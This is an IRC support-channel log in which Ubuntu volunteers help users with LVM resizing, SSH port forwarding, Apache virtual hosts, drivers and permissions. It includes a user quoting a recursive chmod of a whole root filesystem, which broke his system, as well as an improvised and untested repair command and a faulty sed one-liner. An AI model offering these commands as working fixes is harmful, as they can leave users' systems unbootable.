[16:32] <soundray> remoteCTR1: it certainly is, but I haven't heard of that bug before
[16:32] <unop> remoteCTR1, hmm, it's probably more plausible that you made an error? :)
[16:32] <vikku> MrKennie: Ok
[16:33] <unop> remoteCTR1, sure, a live CD is perfect
[16:33] <soundray> wimpie: I think you need a 64bit Windows driver then, but I'm not certain -- please ask the channel.
[16:33] <user__> Caly08
[16:34] <user__> caly08
[16:34] <unop> m1dn1ght, heh, this is why you should never run GUI apps under sudo - use gksudo instead
[16:34] <Gun_Smoke> stapel, https://help.ubuntu.com/8.04/serverguide/C/configuring-samba.html
[16:34] <remoteCTR1> unop: soundray what error could i possibly make when i set it up with entire disk using lvm? it does it all on its own... now i got 997GB root partition and 443GB swap:D
[16:34] <user__> I want help in disabling terminal
[16:34] <unop> m1dn1ght,  does this command return anything?     find ~/.mozilla -user root
[16:35] <wimpie> Hello Can some one help me with a little problem I have with ndiswrapper (problem not really) but Which one should I use as Driver hen I got a 64-bit Ubuntu version ? Should I use 64-bit Windows driver aswell then Here is the driver link http://www.realtek.com.tw/downloads/downloadsView.aspx?Langid=1&PNid=24&PFid=1&Level=6&Conn=5&DownTypeID=3&GetDown=false&Downloads=true
[16:35] <MrKennie> remoteCTR1: do you really need that much swap? lol
[16:35] <grobda24> !samba stapel
[16:35] <unop> remoteCTR1, that's one big disk you have :)
[16:35] <soundray> user__: can you explain a bit more?
[16:35] <user__> I want help in disabling terminal
[16:35] <soundray> user__: can you explain a bit more?
[16:35] <remoteCTR1> unop: that is one fine raid5 with 4x500GB
[16:36] <grobda24> !samba > stapel
[16:36] <remoteCTR1> MrKennie: not at all which is why i am struggling to have it resizued;)
[16:36] <unop> remoteCTR1, did you say all this is on a LVM setup at the moment?
[16:36] <wimpie> soundray: I think he mean he is a Systeemmanager or something and he want that ppl don go in terminal to get acces with "backdoors" or something // Is that what you meant user__ ?
[16:36] <bazhang> user__, why would you need to do that
[16:36] <pen> what is the name for the sidebar in nautilus for gtkrc?
[16:37] <remoteCTR1> unop: it is
[16:37] <m1dn1ght> unop: heh - yeah, won't be doing that again.  here's the output: http://pastebin.com/m36323167
[16:37] <soundray> wimpie: it could mean something else, though, so it's not worth speculating
[16:37] <keppi> user__:  the "terminal" is linux.  The GUI is just the pretty face.  I'm not sure you *can* disable terminal.  you can remove the icon though.
[16:38] <remoteCTR1> unop: why?
[16:38] <wimpie> soundray: so I just should use the WinXP one ?
[16:38] <unop> remoteCTR1, if you disable swap (using swapoff) -- you can resize lvm volumes using lvresize
[16:38] <soundray> wimpie: if it's 64bit, yes
[16:39] <unop> remoteCTR1, so you'll need to shrink the swap partition with lvresize first .. then grow the adjacent partition (again using lvresize)
[16:39] <remoteCTR1> unop: yes and no that throws errors that it cant read the superblock, etc
[16:39] <wimpie> soundray: Yeah k I think I found the right one now going to install it
[16:39] <soundray> wimpie: fingers crossed ;)
[16:39] <remoteCTR1> unop: actually i was going to shrink the other partition also as i am going to implement some more lvms for xen
[16:39] <unop> m1dn1ght,  ok, this ought to rectify that.   find ~/.mozilla -user root -exec sudo chown $USER.$USER {} \;
[16:40] <remoteCTR1> unop: that is also kinda crappy that you can ONLY unse the entire disk with lvm and have to resize it manually afterwards, debian can do that properly
[16:40] <m1dn1ght> unop: OK - will give that a try now
[16:40] <unop> m1dn1ght, make sure you close firefox down first
[16:40] <m1dn1ght> unop: you're a bleedin genius.  Thanks a million :)
[16:41] <unop> remoteCTR1, i don't see why ubuntu should do it differently to debian .. it's the same LVM package
[16:41] <idefix_> how does one put sudo required commands in the startup?
[16:41] <remoteCTR1> unop: its a different setup dialog
[16:41] <unop> idefix_, place your commands in /etc/rc.local  - without sudo
[16:41] <remoteCTR1> unop: trust me i been cursing:D
[16:41] <soundray> idefix_: what startup? System or gnome?
[16:41] <bravo7__> How to increase the screen resolutions ?
[16:41] <idefix_> system startup
[16:41] <unop> remoteCTR1, errm, i wonder what tool it is you are using
[16:41] <carandraug> what would happen if I was to install the 32bits Ubuntu into a computer with a 64bits processor? Should I install the 64bits? I've heard the 64 is a pain
[16:42] <soundray> !boot | idefix_
[16:42] <soundray> carandraug: it isn't a pain any more.
[16:42] <MrKennie> carandraug: should work just fine
[16:42] <wimpie> soundray: it have to wait till later that installing going to eat first and then look if it is worked
[16:42] <wimpie> See ya all later
[16:42] <soundray> carandraug: it used to be, but I've had very little trouble with hardy 64 on various machines -- except java applets are still a bit difficult
[16:43] <MrKennie> and flash crashes now and again
[16:43] <unop> remoteCTR1, lvresize is the same on debian and ubuntu .. it's part of the lvm2 package
[16:43] <soundray> unop: I think he's referring to the "use entire disk" feature of ubiquity
[16:43] <remoteCTR1> unop: oh that you mean i meant during setup debian asks you for partitioning information while ubuntu can obviously only partition the entire disk with lvm
[16:44] <carandraug> soundray: MrKennie: Ok thanks. I'll be installing on a friends computer and It would be my first time with 64 bits.
[16:44] <alphabeta> So I created a host aliasing 127.0.0.1 so I could have a seperate domain for each site on my test web server (home.localhost, foo.localhost etc) which I now realize was a mistake
[16:44] <MrKennie> carandraug: on the whole, though, 64bit is pretty painless now.
[16:44] <soundray> remoteCTR1: no, you can have full partitioning control, but you must select "Manual" in the installer
[16:44] <unop> remoteCTR1, bahh .. forget what has happened so far -- it's done..  focus on what needs to be done from here on.
[16:45] <alphabeta> As I deleted the alias, and yet now whenever I go to localhost I get forwarded to home.localhost, which no longer exists.  So I can't view any site at all unless I put the alias back in
[16:45] <os2mac> Folks, grobda24 is having an issue where he can't modify his applications menu, nor can he stop a graphical app from running on startup, any ideas?
[16:45] <soundray> carandraug: if it's on a friend's computer, and he might need java applets at some point, go for 32bits.
[16:45] <unop> remoteCTR1, lvresize is a tool that allows you to shrink lvm volumes
[16:45] <idefix_> it seems to work!
[16:45] <alphabeta> Anyone know how I might go about solving this? :/ I'd be grateful
[16:45] <idefix_> no chitchat is allowed here, right?
[16:45] <soundray> carandraug: you don't lose much, except a tiny bit of performance and support for RAM >>3GB
[16:46] <unop> idefix_, right, #ubuntu-offtopic for that
[16:46] <carandraug> soundray: ok. I'll go with 32bits then. It's a laptop and has only 512Mb RAM
[16:46] <idefix_> unop that even seems an inappropriate channel.. is there no real only chitchatchannel somewhere?
[16:46] <MrKennie> alphabeta: sorry to be such a bore but http://httpd.apache.org/docs/2.0/vhosts/ is worth a read. (assuming this is what you were trying to do)
[16:47] <soundray> carandraug: and your friend's not into numbercrunching and video encoding?
[16:47] <unop> idefix_, #defocus perhaps ... ##linux even :)
[16:47] <remoteCTR1> soundray: manual does not provide for lvm
[16:47] <hal_v2> Yay! I'm not banned anymore. :)
[16:47] <sinan> i am having a problem with Ubuntu, I can't make a binary become "executable" when it is on a FAT partition. Anyone can help?
[16:48] <soundray> remoteCTR1: ah, okay. Then you'll need the alternate install CD for full control
[16:48] <unop> remoteCTR1, lvm isn't a command, it's an idea .. there are many tools depending on what you want to do with lvm
[16:48] <soundray> !alternate | remoteCTR1
[16:48] <carandraug> soundray: no. Aside office, firefox and messaging he won't need anything else
[16:48] <alphabeta> MrKennie: I'm pretty familiar, had them set up correctly for the seperate hosts. problem now is that even when apache is configured with one master catchall vhost (NameVirtualHost * with no ServerName) localhost still redirects to home.localhost, which doesn't exist :/
[16:48] <hal_v2> Anyone know how to find specific irc channels related to my interest? I'm looking for one where I can get advice on dreadlocks right now.
[16:48] <remoteCTR1> unop: i resized the swap with gparted on the live cd now which still leaves me 435GB unallocated now but somehow i dont see that as free together with the other diskspace from shrinking the other partition
[16:48] <soundray> carandraug: 32bit it is then, as any performance difference would be tiny.
[16:49] <notyjoey> hey guys, i got my iphone in discoverable mode and i have my bluetooth manager open but the phone isnt showing up in the browse devices list
[16:49] <remoteCTR1> soundray: i guess alternate desktop would not be quite the right choice for a server, right?:)
[16:49] <naughtykid001> *newbie warning* how do I setup "resumable" file server in ubuntu?
[16:49] <unop> remoteCTR1, i suppose you need to grow the adjacent partition to fill up the free space
[16:49] <soundray> remoteCTR1: it doesn't matter
[16:49] <unop> remoteCTR1, i'm not very good with gparted
[16:49] <carandraug> soundray: ok. Thanks a lot
[16:49] <remoteCTR1> unop: i know i am a bit familiar with lvm, i know what it is and what it does, it is not the first time that i am tinkering with it actually...
[16:49] <sinan> i am having a problem with Ubuntu, I can't make a binary become "executable" when it is on a FAT partition. Anyone can help?
[16:50] <nikki> Anyone knows of a good GNOME alternative to Amarok? I've used Amarok, but it gets very slow for me under GNOME. Thanks.
[16:50] <alphabeta> nikki: rhythmbox or Listen
[16:50] <bazhang> !irc | hal_v2 check last link
[16:50] <soundray> sinan: how are you mounting the FAT partition? From /etc/fstab ?
[16:50] <sinan> soundray: yes
[16:50] <MrKennie> alphabeta: how were you setting up the sites? using sites-avaible or..?
[16:50] <remoteCTR1> unop: gparted has a dropdown menu on top to the right where you need to chose the device, and the other free space would be on another device now*confused*
[16:51] <hal_v2> Thanks.
[16:51] <soundray> sinan: could you put your fstab on http://paste.ubuntu.com for me to have a look?
[16:51] <sinan> soundray: sure, one second please.
[16:51] <legend2440> os2mac: did he check in   System>Preferences>Sessions>Startup Programs to see if gui app is listed there?  if it is remove or uncheck it
[16:51] <alphabeta> MrKennie: yeah. a2ensite and all. But I disabled all the sites, and enabled the default one that comes with install. localhost still redirects to home.localhost, which causes firefox to look for www.home.localhost as it doesn't exist
[16:52] <sinan> soundray: there you go: http://paste.ubuntu.com/44943/
[16:52] <obso> So heres a question - Anyone know where to find an edgy repo? :)
[16:52] <remoteCTR1> unop: gawd! you need to go to edit and then apply changes, it doesnt do it an its own:D
[16:52] <alphabeta> MrKennie: oddly enough going to my public IP in firefox also redirects to home.localhost, so at first I thought it was some sort of dns cache (and I haven't really ruled that out)
[16:52] <bazhang> obso, it is no longer supported
[16:52] <albech> can anyone recommend a good voip solution that can be traffic shaped.. dont say Skype, unless you can tell me how to prioritize random ports in both ends ;)
[16:52] <unop> remoteCTR1, right, it's so you can perform multiple operations at once
[16:53] <bazhang> obso, and feisty is only supported for three more weeks
[16:53] <os2mac> grobda24: [07:51]	<legend2440>	os2mac: did he check in System>Preferences>Sessions>Startup Programs to see if gui app is listed there? if it is remove or uncheck it
[16:53] <obso> bazhang: yes, i know this - that dosent change the fact i have a server with it on it that im migrating.
[16:53] <tomboy64> i have a problem on xubuntu-7.10. i wanna install skype from the medibuntu repos, but i keeps failing with requesting libqt-core and libqt-gui >= 4.3.2 - is there a way to convince apt-get to use a lesser version of skype?
[16:53] <Liolikas> Exiga
[16:53] <obso> guess ill compile rsync
[16:53] <MrKennie> alphabeta: when you relaod apache do you get any warnings or errors?
[16:53] <soundray> sinan: thanks, give me a minute
[16:53] <remoteCTR1> unop: ok i am confident that its ok now
[16:53] <tomboy64> Liolikas: i don't wanna use ekiga, i must use skype.
[16:53] <balz> what's the command syntax to ssh into a computer that's on another network?  I know the computer's hostname and the network's external IP
[16:54] <alphabeta> MrKennie: nope, other than the usual apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName
[16:54] <Liolikas> tom use dpkg -i blabla.deb
[16:54] <MrKennie> alphabeta: nothing in /etc/hosts?
[16:54] <tomboy64> Liolikas: where do i get the necessary .deb with the correct dependencies?
[16:54] <grobda24> os2mac, legend2440 ... I checked again. It's not in startup programs but was in current session if though it's not open. I removed that, maybe that will do it.
[16:54] <unop> balz, as long as you can ping the other host.  shh user@hostname
[16:54] <MrKennie> alphabeta: well, nothing that shouldn't be there
[16:54] <Liolikas> ssh IP -l user
[16:54] <grobda24> if though = even though
[16:54] <alphabeta> MrKennie: well I had some aliases to home.localhost etc in there but took them all out, now theres just localhost jason-desktop and the ipv6 stuff
[16:55] <balz> unop:  don't i need to define the IP address?  i'm on a separate network
[16:55] <Liolikas> tom google maybe
[16:55] <soundray> sinan: I think you should try changing fmask in lines 13 and 15 to 0033 instead of 0133. Then remount and test.
[16:55] <alphabeta> balz: you need to have them forward a port for you to do that
[16:55] <MrKennie> alphabeta: restarted firefox since? firefox has a habit of caching
[16:55] <sinan> soundray: ok, thanks :)
[16:55] <balz> alphabeta:  that's already done
[16:55] <alphabeta> balz: you can't force your way into their network
[16:55] <balz> i just need to know the command syntax
[16:55] <unop> balz, depends .. if the hostname resolves to the correct IP address, you can use the hostname
[16:55] <selinuxium> !footprint
[16:55] <alphabeta> balz: well then just connect to the external ip at the port thats forwarded. you don't need their hostname :)
[16:55] <stetho> rsync is doing the job - thanks for the suggestion
[16:55] <alphabeta> MrKennie: tried a full reboot, didn't help :(
[16:55] <MrKennie> alphabeta: hm
[16:56] <balz> alphabeta... i'm completely lost.  I'm at school and i want to ssh into my home box which is behind a router
[16:56] <selinuxium> Any ideas what the 6.06 server footprint is?
[16:56] <MrKennie> alphabeta: no .htaccess files flaoting around you're not aware of?
[16:56] <alphabeta> balz: ssh myhomeip:myforwardedport
[16:56] <balz> alphabeta:  thanks
[16:56] <nikki> Is there anyway to allow multiple applications to use /dev/dsp at the same time?
[16:56] <unop> balz, is your router setup to forward ssh traffic to your machine?
[16:56] <balz> unop. yes i opened port 22 for the specific machine's hostname
[16:56] <os2mac> balz then you need to ssh to the external IP address of the router and then forward the ssh port to the ip address of your computer on your router.
[16:56] <nikki> Is there anyway to allow multiple applications to use /dev/dsp at the same time?
[16:56] <alphabeta> MrKennie: hmm..
[16:56] <unop> balz, then you should just be able to ssh to the router's IP address
[16:57] <balz> oh i see!  the router handles it from there...
[16:57] <balz> *facepalm*
[16:57] <balz> duh. okay cool thanks
[16:57] <unop> balz, right, the router is setup to forward traffic with a destination port of 22 ..
[16:57] <nikki> Is there anyway to allow multiple applications to use /dev/dsp at the same time?
[16:57]  * os2mac for teh win!
[16:57] <alphabeta> nikki: don't spam :/ use a sound daemon. look into pulseaudio or esd
[16:58] <nikki> Sorry. :(
[16:58] <MrKennie> alphabeta: I'm not sure why apache would redirect unless there was something liek a redirectmatch  directive or similar somewhere
[16:58] <balz> unop:  riiight... i thought you might have to specify external IP *and* hostname
[16:58] <balz> unop:  what if i there are two different computers that i might want to ssh into?
[16:58] <os2mac> balz: nope ... the router handles the forward.
[16:58] <kooothor_> HELP, my CPU frequency is to the max (2,4GHz) without reason !!!
[16:58] <kooothor_> (hi)
[16:58] <alphabeta> balz: well you have 2 options. forward 2 ports, or ssh to the second from the first
[16:58] <unop> balz, you'd have to setup the router to forward at two different ports
[16:59] <kooothor_> the CPU usage is 7% but the freq is too high !!
[16:59] <unop> balz, then you connect to the router at the port you want
[16:59] <balz> ooh okay.  so once i'm sshed into the first box, i just log in and type "ssh hostname"
[16:59] <alphabeta> balz: yeah you can do that
[17:00] <balz> cool thanks guys
[17:00] <alphabeta> MrKennie: nope :( I have some rewrite conditions but no redirects, and they're all relative (just rewrite . index.php)
[17:00] <unop> balz, as long as the first machine knows of 'hostname'
[17:00] <os2mac> balz: but it would be easier to setup two different ports that way you only have to ssh once
[17:00] <balz> right. i might do that
[17:00] <alphabeta> nikki: s'alright. the ubuntu wiki has some good stuff for setting up pulseaudio
[17:00] <balz> cool. thanks much guys
[17:00] <os2mac> np
[17:00] <soundray> sinan: how are you getting on -- did it work?
[17:01] <bazhang> http://www.pulseaudio.org/wiki/PerfectSetup nikki
[17:01] <alphabeta> what he said. Thought it was on the ubuntu wiki :p
[17:01] <samtb> i'm trying to create a bzr branch of mplayer so i can create personal packages that track the official releases but some of the launchpad branches don't seem to be setup and others give bzr: not a branch
[17:01] <kooothor_> HELP, my CPU frequency is to the max (2,4GHz) without reason !!!
[17:01] <MrKennie> alphabeta: hmm, I'm not really sure what could be causing that. If you've tried to restore it back to default perhaps purge apache2-common and reinstall it to get the ubuntu defaults.
[17:01] <samtb> can someone here explain what's going on or should i be asking on ubuntu-dev?
[17:02] <alphabeta> MrKennie: as good an idea as any.  I'll give it a go, thanks
[17:02] <nikki> Thanks a lot guys, I appreciate your help! :)
[17:02] <Dred_furst> Ok, I did a reinstall of ubuntu on this PC, and I am encountering the same issue after enabling the nvidia graphics drivers
[17:02] <soundray> kooothor_: not all CPU types support frequency scaling. What kind do you have?
[17:02] <alphabeta> samtb: it'd probably be better, I don't know how many people in here are package developers
[17:02] <kooothor_> intel core 2 duo on macbook pro, normally it stays @ 800 Mhz
[17:03] <td123> Can anyone help with http://ubuntuforums.org/showthread.php?t=914546 (it's wine + ubuntu + ruckus problems ) it's very well documented.
[17:03] <alphabeta> Dred_furst: what's the problem?
[17:03] <error404notfound> when I do a apt-get install I see some suggested and recommended packages aside from what I want to install, how do I install them as well, other than copying their names and pasting after apt-get install?
[17:03] <MarcoBXBRO1> what is the best vnc program you can use for remote desktop for ubuntu
[17:03] <balz> Okay... next question... possibly a dumb one.  I forgot my router's external ip... is there any way to figure it out externally?  Maybe a traceroute of some sort?
[17:03] <destry> How do I locate php-cli I tried the command locate php-cli but it didn't return the location
[17:03] <error404notfound> MarcoBXBRO1: TightVNC?
[17:03] <Dred_furst> alphabeta, the network card is resetting as soon as it tries to send a packet
[17:03] <samtb> alphabeta: thanks - it's more about the bzr hosting to start with i guess, but i'll go over there
[17:03] <alphabeta> error404notfound: why use command line if you're looking for convenience?
[17:03] <Dred_furst> dmesg says the transmission timed out
[17:03] <error404notfound> alphabeta: because I want to...
[17:04] <bravo7> My maximum resolution is 1280 x 1024 i want it larger resolution
[17:04] <MarcoBXBRO1> does tightvnc have a server or is it just client side
[17:04] <soundray> kooothor_: do you have a terminal open?
[17:04] <alphabeta> error404notfound: well then be prepared to type alot :)
[17:04] <balz> MarcoBXBR01 tightvnc has a server
[17:04] <balz> the package is tightvncserver i believe
[17:04] <error404notfound> alphabeta: that I am... isn't there just a switch with apt-get that installs those packages as well...
[17:04] <error404notfound> balz: yes...
[17:04] <albech> anyone here using WengoPhone VoIP?
[17:04] <kooothor_> soundray, yep
[17:05] <Dred_furst> alphabeta, NETDEV WATCHDOG: eth0: transmit timed out
[17:05] <Dred_furst> status 0003 PHY status 786d
[17:05] <uatever> hey there, Im installing xubuntu under a RAID0 and im just not sure about one thing, mount options theres several options and I can't really find documentations on what each does and what would be the best option for running a RAID0?
[17:05] <soundray> kooothor_: please open a second one and run 'tail -f /var/log/syslog', then in the other run 'sudo invoke-rc.d powernowd restart'. See if any errors are logged in the "tail" window.
[17:05] <Liolikas> I got new (old) Dell C400 and installed Ubuntu with wubi,  because I can not install normally it has only external box with CDRW and no boot from that box :( Maybe someone know how can I install "normal" Ubuntu.
[17:05] <alphabeta> Dred_furst: just a shot in the dark, but did you try using envy instead of ubuntus restricted drivers? It's usually more up to date. I had some trouble with the official ones and my wireless card
[17:05] <os2mac> balz do you have a hostname assigned to the router?
[17:05] <balz> uatever:  you are a brave man
[17:06] <balz> os2mac:  not that i know of
[17:06] <uatever> why balz?
[17:06] <uatever> roflol
[17:06] <Dred_furst> alphabeta, the restricted driver it used is for the graphics card
[17:06] <os2mac> balz: then I can't think of any way to do discovery on it.
[17:06] <balz> uatever:  raid0 ... bad experiences
[17:06] <balz> os2mac:  fair enough. i guess i'll be patient and wait until i get home
[17:06] <Dred_furst> the network card is a via rhine II
[17:06] <soundray> nikki: still listening?
[17:06] <os2mac> uatever: know why it's called Raid0? cause that's what you'll recover from that configuration.
[17:07] <alphabeta> Dred_furst: I know. the nvidia official binary caused problems with my wireless adapter is all
[17:07] <destry> balz: Are you trying to remember the ip to access the router configuratioN?
[17:07] <bravo7_> My lcd screen max is 1280x1024 i want it to 1600x1200 resolution
[17:07] <Dred_furst> Hm
[17:07] <bravo7_> or double 1280x1024
[17:07] <soundray> bravo7_: try 'gksudo displayconfig-gtk' to set that up
[17:07] <elmajestro> hello
[17:07] <elmajestro> everybody
[17:07] <Liolikas> hi
[17:08] <elmajestro> ubuntu is a great system
[17:08] <zaLim> hi
[17:08] <elmajestro> :))
[17:08] <zaLim> Linux Systems.
[17:08] <zaLim> channels ?
[17:08] <kooothor_> soundray, I've done that, and nothing shows
[17:08] <soundray> bravo7_: does your LCD support 1600x1200?
[17:08] <Dred_furst> ok alphabeta I will try it,
[17:08] <alphabeta> Dred_furst: installing the more recent envyng version fixed it for me. good luck :)
[17:08] <kooothor_> soundray, even with a tail grep powernowd
[17:08] <zurn> trying to debug something; did anyone do updates last night and then have wicd quit working?
[17:08] <soundray> kooothor_: frequency still up?
[17:08] <Dred_furst> I just removed the current version of nvidia
[17:08] <kooothor_> soundray, yep
[17:08] <bravo7_> soundray nope
[17:09] <soundray> kooothor_: anything conspicuous in dmesg output?
[17:09] <error404notfound> I am following: http://www.howtoforge.com/subversion-trac-virtual-hosts-on-ubuntu-server . do I need anything other than apache on my system to do it? like mysql, php, etc?
[17:09] <soundray> bravo7_: you want to setup a virtual resolution to pan around in?
[17:09] <balz> destry:  no i want to ssh into my network
[17:09] <kooothor_> soundray, nope
[17:09] <nikki> soundray? I didn't get you.
[17:09] <bravo7_> soundray is there any way make ubuntu look a lot room or like bigger resolution
[17:09] <bravo7_> soundray how?
[17:09] <unop> error404notfound, errm, just svn and apache + mod_svn
[17:09] <nikki> soundray: I didn't understand what you said.
[17:10] <uatever> i know all about the pro's and con's of raid0
[17:10] <uatever> i just need help witht he mount options
[17:10] <error404notfound> unop: I guess I just need apache other than what's mentioned on the guide :P
[17:10] <Chunky_Ks> Heya everyone. I'm trying to figure out how to use the ati catalyst drviers to do a xinerama/twinview type thing. I've got it all working by enabling xinerama, but now any time I start any 3d app [including fgl_glxgears], one frame is rendered and then the app locks up
[17:10] <soundray> nikki: I was just wondering if you're still here. When you go through that "perfect setup" page, remember that most things that it recommends for installing are actually in the Ubuntu repositories.
[17:10] <Chunky_Ks> can anyone suggest what I might be doing wrong?
[17:10] <mrthraz> hi all, i installed a secondery sata drive in my hp dv9000 notebook runing ubuntustudio gutsy. but with the drive in ubuntu wont boot. has anyone seen this problem before
[17:10] <unop> uatever, hmm, as long as you create a filesystem on the RAID volume .. you mount the device in the same way you would normally
[17:10] <nikki> Sure.
[17:11] <nikki> I DO do a lot of Linux stuff. Just new to the audio part. :)
[17:11] <soundray> nikki: good, just checking :)
[17:11] <bravo7_> soundray how?
[17:11] <unop> error404notfound, well i suppose if the guide accomplishes it's goal and you are happy with that
[17:11] <nikki> soundray: I usually Google around, but I just installed the IRC client, and I asked here for kicks. :P
[17:11] <Dred_furst> so alphabeta where can I get the latest deb package of envy
[17:12] <unop> !envy | Dred_furst
[17:12] <kooothor_> soundray, do you think my problem comes from powernowd ?
[17:12] <soundray> bravo7_: I don't think you can do resolution scaling in Ubuntu. Panning is supported by some, but not all video drivers.
[17:12] <balz> Dred_furst:  but it does rule
[17:12] <nikki> soundray: Not spamming, but check out my game at http://www.grall.uni.cc. I made it when I was a Windows guy, so its Windows only. However, the code is cross-platform, so I can Linux-ify it.
[17:12] <uatever> hey there, Im installing xubuntu under a RAID0 and im just not sure about one thing, mount options theres several options and I can't really find documentations on what each does and what would be the best option for running a RAID0? <--- Convo me please if possible
[17:12] <td123> My VLC displays the video to 2 windows, one vlc and one x11 output. How do I just output to one window? Closing the x11 output closes vlc. ?:/?
[17:13] <soundray> kooothor_: I think your problem may be renitent Apple hardware. Maybe (and that's a big maybe) it will work if you install cpufreqd instead of powernowd
[17:13] <td123> it's a wmv video
[17:13] <unop> uatever, are you setting all this up using the live CD?
[17:13] <uatever> no
[17:13] <kooothor_> soundray, oh, I've just run 'sudo powernowd' and now it's okay, I'm at 800 MHz :)
[17:13] <uatever> alternative
[17:13] <unop> uatever, just use the default mount options then
[17:13] <uatever> it doesnt display "defaults"
[17:13] <uatever> and thats the problem
[17:14] <uatever> shows noatime
[17:14] <unop> uatever, just make sure you have a non-RAID volume to house /boot
[17:14] <uatever> norealtme, zync
[17:14] <soundray> nikki: nice, go ahead... but please go to #ubuntu-offtopic for chat -- here's for support only
[17:14] <unop> uatever, by defaults i mean. do not set any options
[17:14] <error404notfound> what does 2770 permissions mean? aren't permission three characters? something like 770 (rwxrwx---) ?
[17:14] <nikki> soundray: I see.. Sorry.
[17:14] <soundray> kooothor_: aha...
[17:14] <unop> error404notfound,  u+rwx,g+rws
[17:15] <alphabeta> Dred_furst: I believe its in the official repositories
[17:15] <mrthraz> hi all, i installed a secondery sata drive in my hp dv9000 notebook runing ubuntustudio gutsy. but with the drive in ubuntu wont boot. has anyone seen this problem before
[17:15] <unop> error404notfound, meaning, the file has setgid set
[17:15] <soundray> kooothor_: maybe the startup script isn't configured properly. 'sudo update-rc.d powernowd defaults' to fix and reboot to test.
[17:15] <alphabeta> Dred_furst: under utilities. EnvyNG isn't the actual drivers, its just an application that gets, packages, and installs the newest drivers for you
[17:15] <soundray> nikki: :)
[17:16] <kooothor_> soundray, yep, will do that, thx anyway ;)
[17:16] <soundray> bravo7_: what's your goal, ultimately?
[17:16] <macvr> hi, guys....i was having a GDM error:<server authorization directory (deamon/servauthdir) is set to   /var/lib/gdm but this does not exist. Please correct gdm configuration and restart gdm                             <ok>>
[17:17] <macvr> i tired doin this<sudo -i    mkdir /mnt/linux    mount /dev/sda5 /mnt/linux   find /mnt/linux -type d -exec chmod 755 '{}' \;   find /mnt/linux -type f -exec chmod 644 '{}' \;   umount /mnt/linux  exit> but now my system gets Stuck at BusyBoX... how do i get past this?
[17:17] <macvr> the permission change was suggested in one of the forums
[17:17] <unop> macvr, bad advice
[17:17] <varunn> guys what do you call those errors, that have come from the old code?
[17:17] <macvr> i KNOW!
[17:17] <varunn> regursion? or something wasnt it?
[17:17] <macvr> now how do i revert?
[17:18] <mrthraz> hi all, i installed a secondery sata drive in my hp dv9000 notebook runing ubuntustudio gutsy. but with the drive in ubuntu wont boot. has anyone seen this problem before
[17:18] <Dred_furst> alphabeta, so envy installs the propriatary drivers better than the default ubuntu app does?
[17:18] <soundray> macvr: restore from backup is the only real option
[17:18] <unop> macvr, well, there is no easy way except to restore from a backup set - failing that, a reinstall
[17:18] <zurn> trying to debug something; did anyone do updates last night and then have wicd quit working?
[17:18] <alphabeta> Dred_furst: well the default ubuntu ones are prepackaged and approved by ubuntu, envy just grabs them straight off the nvidia upstream servers
[17:19] <macvr> i dont have a backup!!!... i'm now using my system from Live CD
[17:19] <Dred_furst> Ah right
[17:19] <Dred_furst> I get it now
[17:19] <varunn> anyone?
[17:19] <Dred_furst> I'll find out if it works in just a minute, just updating everything on apt
[17:19] <Pici> varunn: regressions
[17:19] <soundray> macvr: there is a slim chance that you can fix most things by applying the permissions from the live system to your installed one
[17:19] <unop> macvr, well, a reinstall is imminent then .. backup what you can from the current install
[17:20] <macvr> cant i reverse the permissions?
[17:20] <soundray> macvr: no
[17:20] <jinesh> hi
[17:20] <jinesh> hi
[17:20] <mrthraz> ﻿hi all, i installed a secondery sata drive in my hp dv9000 notebook runing ubuntustudio gutsy. but with the drive in ubuntu wont boot. has anyone seen this problem before
[17:20] <td123> macvr: this is why you should have backups, especially on systems you don't know about :/
[17:20] <bravo7_> soundray is there any way make the resolution larger or desktop shrink
[17:20] <ay^> Hey I'd need help turnign these "features" of some sorts of wicked wierd stuff off. My son usually presses a bunch of keys on my laptop, and almost everytime he does this the computer acts up, scrolling zooms the entire screen, pressing letters brings up a view of all avaliable workspaces.
[17:21] <MrNaz> if i want to pipe a file from line 0 to line x to a file, what would i use?    cat file.txt > newfile.txt ?       but i cant find a line specifier control in the manpage for cat
[17:21] <bravo7_> soundray are you there
[17:21] <macvr> ok... for i was trying to setup a live CD using remastersys but it doesnt work in ubuntu 8.04!!!
[17:21] <ay^> MrNaz: you use some other command like head or tail
[17:21] <dashavoo> MrNaz, use head and tail
[17:21] <MrNaz> ay^ ta
[17:21] <soundray> macvr: check this carefully, I'm making this up as we speak (unop, please check, too): find / -xdev -print0 | xargs -0 -i chmod /mnt/linux/'{}' --reference '{}'
[17:22] <unop> MrNaz, you need to use something else. like sed.   sed -n "0,$Xp" < file > outfile
[17:22] <MrNaz> haha
[17:22] <KiDFlaSh> giu@sdb:~$ sudo gedit /etc/X11/xorg.conf
[17:22] <KiDFlaSh> No protocol specified
[17:22] <KiDFlaSh> cannot open display:
[17:22] <KiDFlaSh> Run 'gedit --help' to see a full list of available command line options.
[17:22] <FloodBot2> KiDFlaSh: Please don't flood, use http://paste.ubuntu.com to paste, don't use Enter as punctuation.
[17:22] <KiDFlaSh> why it dont work?
[17:22] <MrNaz> dashavoo thanks
[17:22] <soundray> bravo7_: yes, but I don't have any ideas for you, except what I've pointed out (panning setup)
[17:22] <KiDFlaSh> i cant open xorg.conf
[17:22] <KiDFlaSh> Oo
[17:22] <bravo7_> soundray how?
[17:22] <alphabeta> KiDFlaSh: no, you can't gedit xorg.conf. try a command line editor
[17:23] <MrNaz> unop sed is overkill for what i want to do... i want "lines 0-n into file a" and "lines n-EOF into file b"
[17:23] <MrNaz> head and tail suffice
[17:23] <macvr> ﻿find / -xdev -print0 | xargs -0 -i chmod /mnt/linux/'{}' --reference '{}'             <<<< this is the full command, for wht?
[17:23] <soundray> bravo7_: search the fine web, or ask the channel again (not me)
[17:23] <KiDFlaSh> i already gedit xorg.conf one time
[17:23] <unop> MrNaz, sed is the right tool for this job -- head and tail are overkill
[17:23] <soundray> KiDFlaSh: how did it go with 'gksudo displayconfig-gtk'?
[17:23] <KiDFlaSh> not good
[17:24] <KiDFlaSh> i try to install fxgrl now
[17:24] <soundray> KiDFlaSh: how?
[17:24] <KiDFlaSh> but i have problems
[17:24] <KiDFlaSh> i stuck
[17:24] <unop> soundray, is {} automatically populated by xargs ?
[17:24] <soundray> KiDFlaSh: keep it on one line, please
[17:24] <KiDFlaSh> http://wiki.cchtml.com/index.php/Ubuntu_Hardy_Installation_Guide
[17:24] <soundray> unop: yes, if you use xargs -i
[17:24] <alphabeta> KiDFlaSh: gedit is perfectly capable. are you in gnome?
[17:24] <unop> soundray, ahh ok
[17:24] <KiDFlaSh> i stuck in point 5
